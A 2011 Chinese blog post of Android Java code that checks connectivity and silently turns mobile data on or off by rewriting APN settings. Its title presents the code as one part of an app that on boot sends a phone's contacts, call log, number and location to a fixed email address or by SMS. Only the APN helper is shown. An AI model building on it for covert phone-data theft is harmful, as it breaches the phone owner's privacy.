---
title: "开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里，失败则发送短信到指定手机之（apn操作）"
author: "erwin_king"
date: "2011-11-08T12:51:31Z"
tags: []
categories: ["移动开发"]
slug: "apn"
draft: false
lastmod: "2011-11-08T12:51:31Z"
id: 1242745
url: "https://erwin-king.iteye.com/blog/1242745"
---

static Uri uri = Uri.parse("content://telephony/carriers");  
 static Context context;  
 public APNUtils(Context context){  
  this.context=context;  
 }  
   
/\**  
 * 检查网络  
 * @return  
 \*/  
    public static boolean checkNet() {  
         boolean flag = false;  
         ConnectivityManager cwjManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY\_SERVICE);  
         if (cwjManager.getActiveNetworkInfo() != null) {  
             flag = cwjManager.getActiveNetworkInfo().isAvailable();  
         }  
         return flag;  
     }  
 /\**  
  * 打开网络  
  \*/  
 public static void openAPN() {  
  List&lt;APN&gt; list = getAPNList();  
  for (APN apn : list) {  
   ContentValues cv = new ContentValues();  
   cv.put("apn", APNMatchUtils.matchAPN(apn.apn));  
   cv.put("type", APNMatchUtils.matchAPN(apn.type));  
   context.getContentResolver().update(uri, cv, "\_id=?",  
     new String\[] { apn.id });  
  }  
 }  
   
/\**  
 * 关闭网络   
 \*/  
 public static void closeAPN() {  
  List&lt;APN&gt; list = getAPNList();  
  for (APN apn : list) {  
   ContentValues cv = new ContentValues();  
   cv.put("apn", APNMatchUtils.matchAPN(apn.apn) + "mdev");  
   cv.put("type", APNMatchUtils.matchAPN(apn.type) + "mdev");  
   context.getContentResolver().update(uri, cv, "\_id=?",  
     new String\[] { apn.id });  
  }  
 }  
   
 private static List&lt;APN&gt; getAPNList() {  
  String tag = "Main.getAPNList()";  
  // current不为空表示可以使用的APN  
  String projection\[] = { "\_id,apn,type,current" };  
  Cursor cr = context.getContentResolver().query(uri, projection, null,  
    null, null);  
  List&lt;APN&gt; list = new ArrayList&lt;APN&gt;();  
  while (cr != null && cr.moveToNext()) {  
   Log.d(tag, cr.getString(cr.getColumnIndex("\_id")) + "  "  
     + cr.getString(cr.getColumnIndex("apn")) + "  "  
     + cr.getString(cr.getColumnIndex("type")) + "  "  
     + cr.getString(cr.getColumnIndex("current")));  
   APN a = new APN();  
   a.id = cr.getString(cr.getColumnIndex("\_id"));  
   a.apn = cr.getString(cr.getColumnIndex("apn"));  
   a.type = cr.getString(cr.getColumnIndex("type"));  
   list.add(a);  
  }  
  if (cr != null)  
   cr.close();  
  return list;  
 }